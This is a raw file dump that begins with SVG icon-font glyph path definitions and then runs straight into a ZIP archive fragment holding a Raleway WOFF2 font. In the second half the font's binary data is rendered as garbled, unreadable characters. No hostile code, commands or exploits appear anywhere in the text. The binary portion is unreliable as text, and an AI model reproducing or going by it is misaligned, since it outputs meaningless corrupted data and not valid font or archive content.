<glyph unicode="&#xf0c6;" horiz-adv-x="2080" d="M0 699q0 -25 18 -42.5t43 -17.5h318q23 0 40 14t21 36l96 562l173 -1406q4 -23 20.5 -38t38.5 -15q24 0 41 15t21 38l133 1032l111 -299q6 -18 21.5 -29t34.5 -11h5q19 1 34.5 14t20.5 33l163 732l76 -1406q1 -23 16 -39.5t38 -18.5t41 11t23 35l176 740h296 q25 0 43 17.5t18 42.5t-18 43t-43 18h-344q-21 0 -37.5 -13t-21.5 -33l-89 -378l-77 1426q-1 23 -17 39.5t-38 17.5q-23 2 -41.5 -11.5t-23.5 -36.5l-213 -957l-124 337q-7 19 -25.5 30t-38.5 9q-21 -2 -35.5 -17t-18.5 -36l-105 -801l-163 1339q-4 23 -20 37.5t-38 15.5 q-23 1 -40.5 -13t-21.5 -37l-158 -918h-268q-25 0 -43 -18t-18 -43z" />
<glyph unicode="&#xf0c7;" horiz-adv-x="1628" d="M1 2q0 48 31 81.5t75 33.5v2l1404 -4q10 2 11 2q44 -1 75 -35t30 -82q0 -48 -31 -81t-75 -33v-1l-1391 3q-16 -2 -24 -2q-44 1 -75 34.5t-30 81.5zM89 585q-2 68 17 162q9 48 47 146q4 8 14 30q2 -3 4 -5t2 -3q17 -71 52 -128q33 -52 87 -74q42 -17 117 -19q3 0 8.5 -0.5 t8.5 -0.5q-53 53 -84 107q-48 83 -61 193q-10 86 10 209q4 24 31 108q24 75 68 137q52 78 149 161q59 50 166 114q11 7 37 20q0 -3 -0.5 -5.5t-0.5 -4v-2.5q-39 -92 -52 -185q-10 -84 26 -158q27 -58 98 -123q15 -15 63.5 -61.5t74.5 -72.5l27 -27q42 61 47 144 q7 88 -15 192q0 1 1 12q4 -3 32 -26q89 -80 137 -143q77 -100 113 -186q30 -73 40 -149q9 -68 8 -112q-2 -125 -27 -209q-11 -34 -20 -55q40 11 69 28q40 25 64 70q26 46 41 105q0 2 3 5q1 -3 5 -9.5t5 -10.5q20 -50 29 -103q12 -60 8 -121q-3 -46 -17 -86q-13 -38 -24 -62 q-30 -61 -66 -104q-10 -12 -15 -17h-1171q-2 2 -7 6t-8 7q-43 41 -88 121q-13 24 -31 74q-19 50 -22 111z" />
<glyph unicode="&#xf0c8;" horiz-adv-x="1646" d="M11 -81q-20 44 10 86l149 285q2 6 12 16q7 7 41 31q3 2 73 53q76 52 179 127l192 318q27 44 77 44h75q-26 -30 -48 -64t-41 -91t-19 -114.5t30 -133t94 -148.5q44 -50 53 -99t-11 -89t-63 -78.5t-94 -67t-114 -55.5t-112.5 -43.5t-99.5 -30.5h-301q-26 0 -49 14.5 t-33 39.5zM305 1505q0 74 48.5 132.5t123.5 76.5q18 89 91 147t166 58q90 0 160 -55.5t92 -144.5h15q92 0 160 -57.5t68 -138.5q0 -89 -69 -152q0 -44 -38.5 -99.5t-83.5 -65.5q-10 -49 -46 -83.5t-87 -45.5q24 -26 24 -58q0 -40 -28 -67t-68 -27q-39 0 -67 27.5t-28 66.5 q0 5 2.5 15t2.5 14h-5q-46 0 -80 34t-34 80q0 19 19 57q-38 20 -61 67h-67q-87 8 -148.5 69.5t-61.5 149.5zM797.5 680q-0.5 26 8 57.5t17 50.5t22.5 47.5t20 43.5h40q44 0 70 -34l7 -11l140 -265l496 -558l4 -3q34 -43 9 -94q-24 -49 -80 -49h-600q28 25 46.5 42t48.5 52.5 t45 65.5t25 73.5t1 84t-40 89.5t-86 97t-93.5 93.5t-60 81.5t-30.5 73t-9.5 63z" />
<glyph unicode="&#xf0c9;" horiz-adv-x="1549" d="M7 746q0 157 61.5 300.5t165.5 248t248 166.5t302 62h125q26 -7 26 -30l4 -96q6 -208 150.5 -355.5t349.5 -155.5l91 -7q25 0 25 -25v-108q1 -164 -62 -311h-219q81 119 103 270q-268 56 -429.5 230t-186.5 409q-155 -8 -283.5 -95.5t-199 -221.5t-70.5 -281 q0 -171 89 -311h-226q-64 148 -64 311zM37 105q0 46 30 73q28 28 74 28h281l331 312q16 13 37 0l337 -312h295q43 0 73.5 -29.5t30.5 -71.5q0 -43 -30.5 -74t-73.5 -31h-361q-16 0 -31 8l-257 242l-255 -242q-13 -8 -30 -8h-347q-43 0 -73.5 31t-30.5 74z" />
<glyph unicode="&#xf0ca;" horiz-adv-x="1549" d="M0 746q0 157 61.5 300.5t165.5 248t248 166.5t302 62h125q26 -7 26 -30l5 -96q3 -103 43 -195.5t106.5 -160.5t157.5 -109.5t192 -45.5l91 -7q26 0 26 -25v-108q1 -162 -63 -311h-219q81 119 103 270q-268 56 -429.5 230t-186.5 409q-155 -8 -283.5 -95.5t-199 -221.5 t-70.5 -281q0 -171 89 -311h-226q-64 148 -64 311zM27 103q0 42 32 74q29 29 72 29h343q17 0 30 -8l251 -237l255 237q11 8 31 8h352q43 0 73.5 -30t30.5 -73t-30.5 -73.5t-73.5 -30.5h-286l-334 -303q-20 -14 -36 0l-329 303h-277q-43 0 -73.5 30.5t-30.5 73.5z" />
<glyph unicode="&#xf0cb;" horiz-adv-x="2294" d="M0 979v34q0 16 11 26.5t27 10.5h809q16 0 27 -10.5t11 -26.5v-34q0 -16 -11 -26.5t-27 -10.5h-47v-176h226q4 45 37.5 76t79.5 31t79 -31t37 -76h141v362q-22 1 -37.5 17.5t-15.5 39.5v33q0 23 17.5 40t41.5 17h212q24 0 40.5 -17t16.5 -40v-33q0 -23 -14.5 -39.5 t-36.5 -17.5v-362h166q44 0 75.5 -32t31.5 -76v-312l398 -519h-506v324h-76q17 -42 17 -89q0 -97 -68.5 -166t-165.5 -69t-166 69t-69 166q0 47 17 89h-107q18 -44 18 -89q0 -97 -69.5 -166t-166.5 -69t-165.5 69t-68.5 166q0 47 17 89h-126q19 -47 19 -89q0 -97 -69.5 -166 t-166.5 -69t-166 69t-69 166q0 46 18 90q-39 6 -65 36t-26 70v92h-2v592h-45q-16 0 -27 10.5t-11 26.5zM219 558q0 -34 24 -57.5t58 -23.5h154q34 0 57 23.5t23 57.5v245q0 33 -23.5 56.5t-56.5 23.5h-154q-34 0 -58 -24t-24 -56v-245zM1230 1752q0 -66 50 -111 q0 -32 28 -72.5t60 -46.5q7 -36 33 -60.5t63 -32.5q-17 -17 -17 -42q0 -29 19.5 -48.5t48.5 -19.5t49 20t20 48q0 3 -1.5 10t-1.5 11h3q34 0 58 24.5t24 58.5q0 16 -13 40q28 15 44 50h48q63 5 107.5 49.5t44.5 107.5q0 54 -35 96t-89 55q-13 64 -66 106t-120 42 q-65 0 -115 -40t-66 -104h-12q-66 0 -115 -41.5t-49 -99.5z" />
<glyph unicode="&#xf0cc;" horiz-adv-x="1107" d="M0 -293v1829h110v-1829h-110zM184 746v790l923 -394z" />
<glyph unicode="&#xf0cd;" horiz-adv-x="923" d="M0 -293v1829h110v-1829h-110zM184 -63v790l923 -394zM184 746v790l923 -394z" />
<glyph unicode="&#xf0ce;" horiz-adv-x="1117" d="M0 -293v1829h121v-1829h-121zM206 832v704h912v-704h-912zM458 1046h406v267h-406v-267z" />
<glyph unicode="&#xf0cf;" d="M0 -293v1829h121v-1829h-121zM206 35v704h912v-704h-912zM206 832v704h912v-704h-912zM458 249h406v268h-406v-268zM458 1046h406v267h-406v-267z" />
<glyph unicode="&#xf0d0;" d="M0 769q0 156 61 298t164 245t245 164t298 61t298.5 -61t245.5 -164t164 -245t61 -298t-61 -298.5t-164 -245.5t-245.5 -164t-298.5 -61t-298 61t-245 164t-164 245.5t-61 298.5zM863 1449q168 -92 275.5 -266.5t107.5 -413.5q0 -502 -352 -675q241 45 401 235t160 440 q0 170 -78 318t-213.5 243.5t-300.5 118.5z" />
<glyph unicode="&#xf0d1;" d="M0 769q0 156 61 298t164 245t245 164t298 61t298.5 -61t245.5 -164t164 -245t61 -298t-61 -298.5t-164 -245.5t-245.5 -164t-298.5 -61t-298 61t-245 164t-164 245.5t-61 298.5zM830 1453q152 -101 249 -276.5t97 -407.5q0 -492 -327 -682q169 20 307.5 115t218.5 244.5 t80 322.5q0 176 -83 328t-226 246.5t-316 109.5z" />
<glyph unicode="&#xf0d2;" d="M0 769q0 156 61 298t164 245t245 164t298 61t298.5 -61t245.5 -164t164 -245t61 -298t-61 -298.5t-164 -245.5t-245.5 -164t-298.5 -61t-298 61t-245 164t-164 245.5t-61 298.5zM808 1454q131 -113 214 -288t83 -397q0 -475 -284 -686q131 10 248 68t202 149t134.5 213.5 t49.5 255.5q0 179 -86 333.5t-235 248.5t-326 103z" />
<glyph unicode="&#xf0d3;" horiz-adv-x="1755" d="M0 769q0 156 61 298t164 245t245 164t298 61t298.5 -61t245.5 -164t164 -245t61 -298t-61 -298.5t-164 -245.5t-245.5 -164t-298.5 -61t-298 61t-245 164t-164 245.5t-61 298.5zM792 1455q108 -130 175.5 -303t67.5 -383q0 -450 -234 -687q134 6 255 63t208.5 148.5 t139 215.5t51.5 260q0 182 -88.5 337.5t-241 249t-333.5 99.5z" />
<glyph unicode="&#xf0d4;" d="M0 769q0 156 61 298t164 245t245 164t298 61t298.5 -61t245.5 -164t164 -245t61 -298t-61 -298.5t-164 -245.5t-245.5 -164t-298.5 -61t-298 61t-245 164t-164 245.5t-61 298.5zM779 1455q187 -330 187 -686q0 -426 -181 -687q137 3 261 59t213.5 147.5t142.5 217 t53 263.5q0 184 -90.5 341t-246 249.5t-339.5 95.5z" />
<glyph unicode="&#xf0d5;" d="M0 769q0 156 61 298t164 245t245 164t298 61t298.5 -61t245.5 -164t164 -245t61 -298t-61 -298.5t-164 -245.5t-245.5 -164t-298.5 -61t-298 61t-245 164t-164 245.5t-61 298.5zM769 1455q126 -363 126 -686q0 -402 -121 -687q138 1 264.5 55.5t217.5 146.5t145 219 t54 266t-54.5 266t-146.5 219t-219 146.5t-266 54.5z" />
<glyph unicode="&#xf0d6;" d="M0 769q0 156 61 298t164 245t245 164t298 61t298.5 -61t245.5 -164t164 -245t61 -298t-61 -298.5t-164 -245.5t-245.5 -164t-298.5 -61t-298 61t-245 164t-164 245.5t-61 298.5zM755 82h13q140 0 267 54.5t219 146.5t146.5 219t54.5 267q0 139 -54.5 266t-146.5 219 t-219 146.5t-267 54.5h-13v-1373z" />
<glyph unicode="&#xf0d7;" d="M0 769q0 156 61 298t164 245t245 164t298 61t298.5 -61t245.5 -164t164 -245t61 -298t-61 -298.5t-164 -245.5t-245.5 -164t-298.5 -61t-298 61t-245 164t-164 245.5t-61 298.5zM658 769q0 -390 84 -687h26q140 0 267 54.5t219 146.5t146.5 219t54.5 267q0 139 -54.5 266 t-146.5 219t-219 146.5t-267 54.5h-23q-87 -368 -87 -686z" />
<glyph unicode="&#xf0d8;" d="M0 769q0 156 61 298t164 245t245 164t298 61t298.5 -61t245.5 -164t164 -245t61 -298t-61 -298.5t-164 -245.5t-245.5 -164t-298.5 -61t-298 61t-245 164t-164 245.5t-61 298.5zM561 769q0 -425 165 -686q15 -1 42 -1q140 0 267 54.5t219 146.5t146.5 219t54.5 267 q0 139 -54.5 266t-146.5 219t-219 146.5t-267 54.5q-24 0 -37 -1q-170 -322 -170 -685z" />
<glyph unicode="&#xf0d9;" d="M0 769q0 208 103 385t280 280t385 103q156 0 298.5 -61t245.5 -164t164 -245t61 -298t-61 -298.5t-164 -245.5t-245.5 -164t-298.5 -61t-298.5 61t-245 164t-163.5 245.5t-61 298.5zM464 769q0 -455 239 -684q7 0 20.5 -1t24 -1.5t20.5 -0.5q139 0 266.5 54.5 t219.5 146.5t146.5 219t54.5 267q0 139 -54.5 266t-146.5 219t-219.5 146.5t-266.5 54.5q-37 0 -55 -2q-111 -125 -180 -301.5t-69 -382.5z" />
<glyph unicode="&#xf0da;" d="M0 769q0 157 61 299.5t164 245.5t245.5 164t298.5 61q157 0 299.5 -61t245.5 -164t164 -245.5t61 -299.5q0 -156 -61 -298.5t-164 -245.5t-245.5 -164t-299.5 -61q-156 0 -298.5 61t-245.5 164t-164 245.5t-61 298.5zM368 770q0 -479 304 -681q45 -7 97 -7 q140 0 267 54.5t219.5 146.5t147 219.5t54.5 266.5q0 186 -92.5 344.5t-251 251t-344.5 92.5q-46 0 -81 -4q-143 -109 -231.5 -286.5t-88.5 -396.5z" />
<glyph unicode="&#xf0db;" d="M0 769q0 157 61 299.5t164 245.5t245.5 164t298.5 61q157 0 299.5 -61t245.5 -164t164 -245.5t61 -299.5q0 -156 -61 -298.5t-164 -245.5t-245.5 -164t-299.5 -61q-156 0 -298.5 61t-245.5 164t-164 245.5t-61 298.5zM271 769q0 -487 339 -668q75 -19 159 -19 q140 0 267 54.5t219.5 146.5t147 219.5t54.5 266.5q0 186 -92.5 344.5t-251 251t-344.5 92.5q-70 0 -126 -11q-167 -96 -269.5 -272.5t-102.5 -404.5z" />
<glyph unicode="&#xf0dc;" d="M0 769q0 157 61 299.5t164 245.5t245.5 164t298.5 61q157 0 299.5 -61t245.5 -164t164 -245.5t61 -299.5q0 -156 -61 -298.5t-164 -245.5t-245.5 -164t-299.5 -61q-156 0 -298.5 61t-245.5 164t-164 245.5t-61 298.5zM183 769q0 -80 10 -147t39 -142.5t77 -138.5 t128 -127t189 -117q69 -15 143 -15q140 0 267 54.5t219.5 146.5t147 219.5t54.5 266.5q0 186 -92.5 344.5t-251 251t-344.5 92.5q-87 0 -158 -18q-90 -43 -160 -93.5t-115.5 -105.5t-77 -110.5t-47 -119t-22 -119.5t-6.5 -122z" />
<glyph unicode="&#xf0dd;" d="M0 769q0 157 61 299.5t164 245.5t245.5 164t298.5 61q157 0 299.5 -61t245.5 -164t164 -245.5t61 -299.5q0 -156 -61 -298.5t-164 -245.5t-245.5 -164t-299.5 -61q-156 0 -298.5 61t-245.5 164t-164 245.5t-61 298.5zM82 769q0 -139 54.5 -266.5t146.5 -219.5 t219.5 -146.5t266.5 -54.5q140 0 267 54.5t219.5 146.5t147 219.5t54.5 266.5q0 186 -92.5 344.5t-251 251t-344.5 92.5q-139 0 -266.5 -54.5t-219.5 -147t-146.5 -219.5t-54.5 -267z" />
<glyph unicode="&#xf0de;" d="M0 770q0 209 103.5 385.5t280.5 279t386 102.5t385.5 -102.5t279 -279t102.5 -385.5t-102.5 -386t-279 -280.5t-385.5 -103.5t-386 103.5t-280.5 280.5t-103.5 386zM82 770q0 -139 55 -266.5t147 -219.5t219.5 -147t266.5 -55q88 0 156 19q85 45 148 107t99.5 126.5 t59 143t29.5 146t7 146.5q0 95 -20.5 187t-63.5 182.5t-117.5 170.5t-173.5 136q-41 9 -124 9q-139 0 -266.5 -54t-220 -146t-147 -218.5t-54.5 -266.5z" />
<glyph unicode="&#xf0df;" d="M0 769q0 156 61 298t164 245t245 164t298 61t298.5 -61t245.5 -164t164 -245t61 -298t-61 -298.5t-164 -245.5t-245.5 -164t-298.5 -61t-298 61t-245 164t-164 245.5t-61 298.5zM82 769q0 -140 54.5 -267t146.5 -219t219 -146.5t266 -54.5q37 0 82 5q95 58 160.5 138.5 t97.5 174.5t44.5 181t12.5 188q0 128 -31.5 248.5t-108.5 238.5t-192 197q-42 2 -65 2q-139 0 -266 -54.5t-219 -146.5t-146.5 -219t-54.5 -266z" />
<glyph unicode="&#xf0e0;" d="M0 769q0 156 61 298t164 245t245 164t298 61t298.5 -61t245.5 -164t164 -245t61 -298t-61 -298.5t-164 -245.5t-245.5 -164t-298.5 -61t-298 61t-245 164t-164 245.5t-61 298.5zM82 769q0 -140 54.5 -267t146.5 -219t219 -146.5t266 -54.5q34 0 50 1q80 62 134 144 t80.5 175.5t37 179.5t10.5 187q0 196 -66 378.5t-206 306.5q-13 1 -40 1q-139 0 -266 -54.5t-219 -146.5t-146.5 -219t-54.5 -266z" />
<glyph unicode="&#xf0e1;" d="M0 769q0 156 61 298t164 245t245 164t298 61t298.5 -61t245.5 -164t164 -245t61 -298t-61 -298.5t-164 -245.5t-245.5 -164t-298.5 -61t-298 61t-245 164t-164 245.5t-61 298.5zM82 769q0 -140 54.5 -267t146.5 -219t219 -146.5t266 -54.5h26q61 66 102.5 149.5t61.5 176 t28 177t8 184.5q0 193 -50 372.5t-157 313.5h-19q-139 0 -266 -54.5t-219 -146.5t-146.5 -219t-54.5 -266z" />
<glyph unicode="&#xf0e2;" d="M0 769q0 156 61 298t164 245t245 164t298 61t298.5 -61t245.5 -164t164 -245t61 -298t-61 -298.5t-164 -245.5t-245.5 -164t-298.5 -61t-298 61t-245 164t-164 245.5t-61 298.5zM82 769q0 -140 54.5 -267t146.5 -219t219 -146.5t266 -54.5q27 0 40 1q79 136 107.5 307 t28.5 379q0 411 -139 685q-11 1 -37 1q-139 0 -266 -54.5t-219 -146.5t-146.5 -219t-54.5 -266z" />
<glyph unicode="&#xf0e3;" d="M0 769q0 156 61 298t164 245t245 164t298 61t298.5 -61t245.5 -164t164 -245t61 -298t-61 -298.5t-164 -245.5t-245.5 -164t-298.5 -61t-298 61t-245 164t-164 245.5t-61 298.5zM82 769q0 -140 54.5 -267t146.5 -219t219 -146.5t266 -54.5h26q69 255 69 687 q0 391 -70 686h-25q-139 0 -266 -54.5t-219 -146.5t-146.5 -219t-54.5 -266z" />
<glyph unicode="&#xf0e4;" d="M0 769q0 156 61 298t164 245t245 164t298 61t298.5 -61t245.5 -164t164 -245t61 -298t-61 -298.5t-164 -245.5t-245.5 -164t-298.5 -61t-298 61t-245 164t-164 245.5t-61 298.5zM82 769q0 -140 54.5 -267t146.5 -219t219 -146.5t266 -54.5h14v1373h-14q-139 0 -266 -54.5 t-219 -146.5t-146.5 -219t-54.5 -266z" />
<glyph unicode="&#xf0e5;" d="M0 769q0 156 61 298t164 245t245 164t298 61t298.5 -61t245.5 -164t164 -245t61 -298t-61 -298.5t-164 -245.5t-245.5 -164t-298.5 -61t-298 61t-245 164t-164 245.5t-61 298.5zM82 769q0 -140 54.5 -267t146.5 -219t219 -146.5t266 -54.5h5q-60 273 -60 687 q0 347 62 686h-7q-139 0 -266 -54.5t-219 -146.5t-146.5 -219t-54.5 -266z" />
<glyph unicode="&#xf0e6;" d="M0 769q0 156 61 298t164 245t245 164t298 61t298.5 -61t245.5 -164t164 -245t61 -298t-61 -298.5t-164 -245.5t-245.5 -164t-298.5 -61t-298 61t-245 164t-164 245.5t-61 298.5zM82 769q0 -139 54 -265.5t145 -218.5t216.5 -147t264.5 -56q-119 253 -119 687 q0 370 123 686q-139 0 -265.5 -55t-218 -147t-146 -218.5t-54.5 -265.5z" />
<glyph unicode="&#xf0e7;" d="M0 769q0 156 61 298t164 245t245 164t298 61t298.5 -61t245.5 -164t164 -245t61 -298t-61 -298.5t-164 -245.5t-245.5 -164t-298.5 -61t-298 61t-245 164t-164 245.5t-61 298.5zM82 769q0 -137 52.5 -262.5t142 -217.5t213.5 -147.5t260 -59.5q-175 238 -175 687 q0 191 47 369t133 317q-184 -3 -338.5 -96t-244.5 -249.5t-90 -340.5z" />
<glyph unicode="&#xf0e8;" d="M0 769q0 156 61 298t164 245t245 164t298 61t298.5 -61t245.5 -164t164 -245t61 -298t-61 -298.5t-164 -245.5t-245.5 -164t-298.5 -61t-298 61t-245 164t-164 245.5t-61 298.5zM82 769q0 -136 51.5 -260t138.5 -215t208 -148t255 -64q-127 122 -178.5 294t-51.5 393 q0 198 63 378.5t175 307.5q-181 -7 -333 -100.5t-240 -249t-88 -336.5z" />
<glyph unicode="&#xf0e9;" d="M0 769q0 156 61 298t164 245t245 164t298 61t298.5 -61t245.5 -164t164 -245t61 -298t-61 -298.5t-164 -245.5t-245.5 -164t-298.5 -61t-298 61t-245 164t-164 245.5t-61 298.5zM82 769q0 -130 47.5 -250t129 -210t194.5 -149.5t240 -73.5q-179 106 -252.5 278t-73.5 405 q0 212 90 394.5t250 289.5q-129 -11 -245 -69.5t-199 -149.5t-132 -212t-49 -253z" />
<glyph unicode="&#xf0ea;" d="M0 769q0 156 61 298t164 245t245 164t298 61t298.5 -61t245.5 -164t164 -245t61 -298t-61 -298.5t-164 -245.5t-245.5 -164t-298.5 -61t-298 61t-245 164t-164 245.5t-61 298.5zM82 769q0 -254 164.5 -446t411.5 -233q-103 51 -175 124t-111.5 162t-57 184t-17.5 209 q0 216 102 398.5t281 281.5q-167 -21 -303.5 -116t-215.5 -244t-79 -320z" />
<glyph unicode="&#xf0eb;" d="M0 769q0 -209 103 -386t280 -280t386 -103t385.5 103t279.5 280t103 386t-103 385.5t-279.5 279.5t-385.5 103t-386 -103t-280 -279.5t-103 -385.5z" />
</font>
</defs></svg> PK     N\xuF P   P  .  fonts/raleway/1Ptrg8zYS_SKggPNwIYqWqZPAA.woff2nu [        wOF2     P        O                       4t` zH	
#> 6$x z%3M'w;0/`2Yfc$c86Pn)9@05Z7@
<qyÜez7ͱ鲤R쁞0ϚiG5heV7ڪ4_}QIL)nC{c!4,HjJB0vq?ediD|CM DK%[S45?״gjDe*	PCX	r?}|~<ؿ{py`lʠULFu꼎 ΗLN$KF
@an=[mOG;,kkw&kE}Ez%]jqǊZ66`+^o#
1hwtm- O#xg7N:[! j<) ì9+
, sߎ!-
8P@sߨLZ.	䫞/s}oU*?3%tFLM{&{	!H;i%wJrSfDUPW6#I~z*T~']_˾{FcЀ ZSm"D@|oY[%kzyI`@b1JKHp(0l`06#(enCruڢܢsEqyY3+*DwϣaFz_}_  Aqߟnl-%<4+_wA)Fcl++PYЍBC @W^ d0VֵusUnmu.&%3sq:rOPzY~Yc<gK=].u0{x70aPpWc>u؝r߷^V5p yxGx{xqˆm@&TrWK
'pXf0,VY\Rx}@Uuwֶ\mm:00GLLȕW(oB݂_2{=O'lH0P9~ zlĘ3ދJ%BG4W
)=5YE
iFJh%  NGޏԵ.ulqfk'%]N|x# 
@	!2U0;M0%iͦ3VFcp#$eHtѧ sۮ߁܅з+>9J@ۛ]%v7 o " $!m\R2ry5r1aEswَ2 t,)@7u1 9вlM:.{#	HaI= TE@yWsF>Bװiy8cgFɲL-KXa2T#)ާ^8| (?[S;ATg$N@4mfHN llcPt]XEO9T">AküτmʞU36QApX8|`-A<zRz;SqR\eI'zڕF)*)+3<Uٽ;?,	E y_I
X"6; 
ҒJx{ؠMI)ϋxٵ PdʋO"3k8y3q@`̫KJ*uKHű3՚e] i˝)n`)K5Ɂ*&LQ41tAf՜wN΂gl{{=YCRNLJo\w3	
bNY̻Ee8F;n$a8+Ä47ȨUϴuZz'!ypHteqx3eu顆,: V5]\\B%LZՃaYXM*u\8ASF%UᣒR!10kۮMT=NQIʇH[؏x=('>
̼,=qiHAR$E̓X	i=׸ֆ8ZT	q_kf|䣯Ga(5f
&i>me[BAq5#C>LTZ ;CE%#oƠ	}q8<QR	3?W
#ĈKh/xG/+wH^;u6 ͗t<HJmB#uUu+I[!DqSJ6p(̈IgY%9d^EReiC'+MrdlxUYaLўp[;u<{"h?IrE7+9%g ".uwoޒõonvԓ6C	/=V87RЩ6&eL1iߨAN3s!
SDd9՚|xLV(>nI:v݁rmۊ1cw{4":8)[^tڦ@)ljūbD7w7Ȣ!(b5Vޅc+|좢e؃=J2yrz0S4]JBis(rŗqP\VBWXI%k`эy++`.,(8-<ݘ٦͞*|Lx(JSyāiŐ6=56jRLWG)Z	_iVUޠXoۏ^Lv|4'-8ۆV9,O8ũpd!1iԬfQ޳wjT
qשzkڔ= 1drh	@O ׀[0:ǀSSEݨ LdOb`*>_?v
O3}a:*3>DY|5x1U^nQ죏r6Y{mڔ6;K? $EqooyNF==})>445D{GX:ke$PXWMTz[oɾMha"oXk
՞A
kIp?c,U<F($,IG|\	krRRk5`0ub'Z@L% iz+GZhW?׻X|AOtM1StjNig<K'Q | 0(0dcGW"ŬD}'2ϟ/
TQN=I	}%huQ&b_6bB&n:w3KYo#pv2%l4h<>:klhh84h"PM{ HtEy
lOp=rDPDxȫSJRZ+QZR Ci1BT	=wKnd*6@dT1ЃYX]Ы\9?jxة9h8E<cb}6G*6ZGRX-L84h<F%e&DJ;K|WviZ(Į\/n6}7+Gnl`&L[ntOV/D*'P\y:#|  l8QXY~@+_QjQc/]f*eMخ X<i}q#ei~,N6݊ڍNNg:xw1Ӕ	~גykr@rE#׎r.ԥZ;^|4<WH;/Xe@y_	->БR}KrtG!}aڵO;U|Om-GZrՊ5cT-7`^~x޸av S\l,M$|1DkO0H9URuk=QU@Xl2mbo#s$^r>$Dz$iajܫxZsÖڵ.OAE$?7;mM47 9T/	ͳ|D2pn[؉VCD`#=X(kl g ڈI6R熨­Fm0
gV G囶ʜQ oA˯h 41IhS.Y?Yۥfͽ]c6md0xdiQhg&emх9Ob.=}*Hٞ*'@)"'?;d(!	xRࠓRiÈ:JZ9&<u'MS^]dp2D|	đDHB$)$%	$-$#Ik.UP.o<hU+tvr  P "@@4:JC
ًyL;`#] o%3_9x>һ9ߣs,RDNA	  L zLF@	I4F}8'Cç8\\CmBqHNOLSDt~ӄYm(ФyNx$9c8Lʤ~;+:(0*vcK0F1nPŢQ<X͓Q"IqEm\c&" JcIF!,]7]4IiqU *}y2	F#֜<?[6gW%LI\ͺ}u3Qv5f q&uj^:w[ys3ΞyJN,{[r)hZsLa!$a]|ioat_fqd_E>=k#{G#L]Va8Em03wQ^s̀v1Ut$?bu/7:EƆ0 lIIDM 8H4<#  r^KDM*. s ^$"D!Dj -`   kIJ$d.SGP9.pa\A51 `5 E!CC+|v%A̨kCCC++[0?>-l`6 kݼ4<xe )   7`` @3QVT lR:5u"vŝLqUCZe'v,W}Ӄ0,wteXeB\yE
O,vZ39g5C;DoZ6i#D0'+"yvf1vll[k.妒2X`n!T2X;;F }`YyWl	d;9²\c79wklEԲtC$
o	:q\ ;:-^ye4Qdg1kLxG,R#Y,]41b}=e<d"6Nc1@{1+ګ[cȭO#C42rː6łYl[aCn	zBQyn
v*Gcly8(3\AQ<vyXek5T"8	*]abJ^QtzxWxV悇3ӎ^̞\@k4k\w88G=\0O|E-ƕsGiJ"vE)Ԁ'g Gp6 C[ey1.ANvt.zN]I[ê@RPBA'؍.+Y	BBEoyyEZ0ÒA[7;Rq3(V=8 NYX>k-xQMt%:e]>9mÎs*	`PMv=]|YtGxiQI{gdE#J;lA[zf[N[WyD:h[QL	TJ#cA"';Oa~|Z+\k[\'ʧ(ZӉ/?	,YHֿ>aQ^9Y<)>+4M	ch'TB`/\vw(pz۶)w6*J\O KUD_[Ӳlqr,wJ^ݒͧWE5<WFݙ^I94΢9QU(xL4$dݵLӢHQqC6z!bt</QSJ3|Cߡ=5W_s=Z6jM/Z!^-Hd)xLdfK䔐'9כ+TPYDP:z-A&]{R@*\'(ɺ|reVI!=}Ӧۊnީ9\6WÒ/e=-ZⲼʗ+-N,*wfVBx .AN.ElU|>IϦymDVX{C52X[׋+x~Vp"Eu(s@yb'͖N746eӋR3w&}
21g];##+Lp'K/Nߚ(=-2L<P7j]"TKT
ZЄ!$$m|pxD~Tv:Ʊ6y7լɾ~FylzpG\C;gUη-bSg;3h1<@uPMU<C+}1 Y^CQ	mYU#T
<$9,̱sbddf@WDgws!XfYgN*ϲaڕrB|^^j?ED<6ĩpLN~Ypa3ڙ/>un`5ow+`K<O^dY&'U&#$Щ%0ؚR=5͵b
:^QFUZ%,Zģ)F-A|	p{Txcl[mt+x@cN	 %X~JY;',8!(,r[=͗[;#c S 7#Ikj<S_V~p3bxKfyvmK=^YBs10N%'$Hjq__TS ̶7M2Sm6Zi!#D($Ixjt|IS1HK7vBwvKI}׶Uʪ4ٖtak̠ѝ*tzQ1BViq B-YZC?M:U.4l ~vj L'~;wncaXy5,ro6篪@%cõWiv sKADSK%D8?jܖ,	SaE$4F7է1+I7]gOE8۝V)O77|WۯRRgZyg
-%xf]jjQxr>O)"*VXucb[2ЭuE=pۊ)wбIwW"Q4-NbET{,ao	6L㖒Idhj40-Z+=fU5>鑯jgӽp".ES]%(KAlzǒШ͔miQYW2Lioʺmn%w`[]Iѣ>Hn_fDD63~t"u\&,Tkn"IO_KIKjc"(
]o&r~n	V,DNޱxxo\}AN4f+v~uݔr$?A9cJP|5z\$40zoZ@"jDbP= Y;K('#Pp߆vK&l&4MhAiQtAd@wv ;8M.o 97~8D7؋;D|\!|#29n0J?UD"A#$*1M{H2ڻ
vzF&Q&kےpk6hҭ=#ED,ۧ6U9u"GV+qZ<y_jػBI["bEUVa>>D6tCC-7'"0*P|i@>,Q;Zc\mԅK<@WzF*+ttG8?]xpwGu+/;2C+tӕgcZ:?:*;YcBrw;ѝ$ԇgr%U'Cը"6CUr<*qUW;!W:)VgF6fYOտlFjxh"Y,^ܛj_!]A<$r:
D&31K*9 .i*\k"'YJ2#d]LT.Ej&FKNǒ$(5N2j_UL-f21I5;0}/YPY1u8Tr]QeRf#b9zrV~I9SANF*E#Huwތ4]IynM'V_X 04$jZ/G}_&jS3BnP}eĹ^#n
W;,;!i&OdGe);Wk29p##a@0 /U%MJzi!ߢ)H>wbo:WEy>AN£yKY,PN 	'7vO~L~@fzp v_%^rT^׽ǵ@r;=jQĨ`p0S?y%+N2:q~')ߛ<[{9Tee^'V1"_5SHmG֙:łdJmjӷCEw.5wX6gξ碢_̜V{п8D`dFD_)b3cSF{/:9؝?frS ׸$rP#&Qx@VWv{64@mܓ	jLZtOQP67~I+$TOhrzN[ax7L^NBw|@rm\>6Н	Z&♂CTyi58R,Oe.nF[[RN_
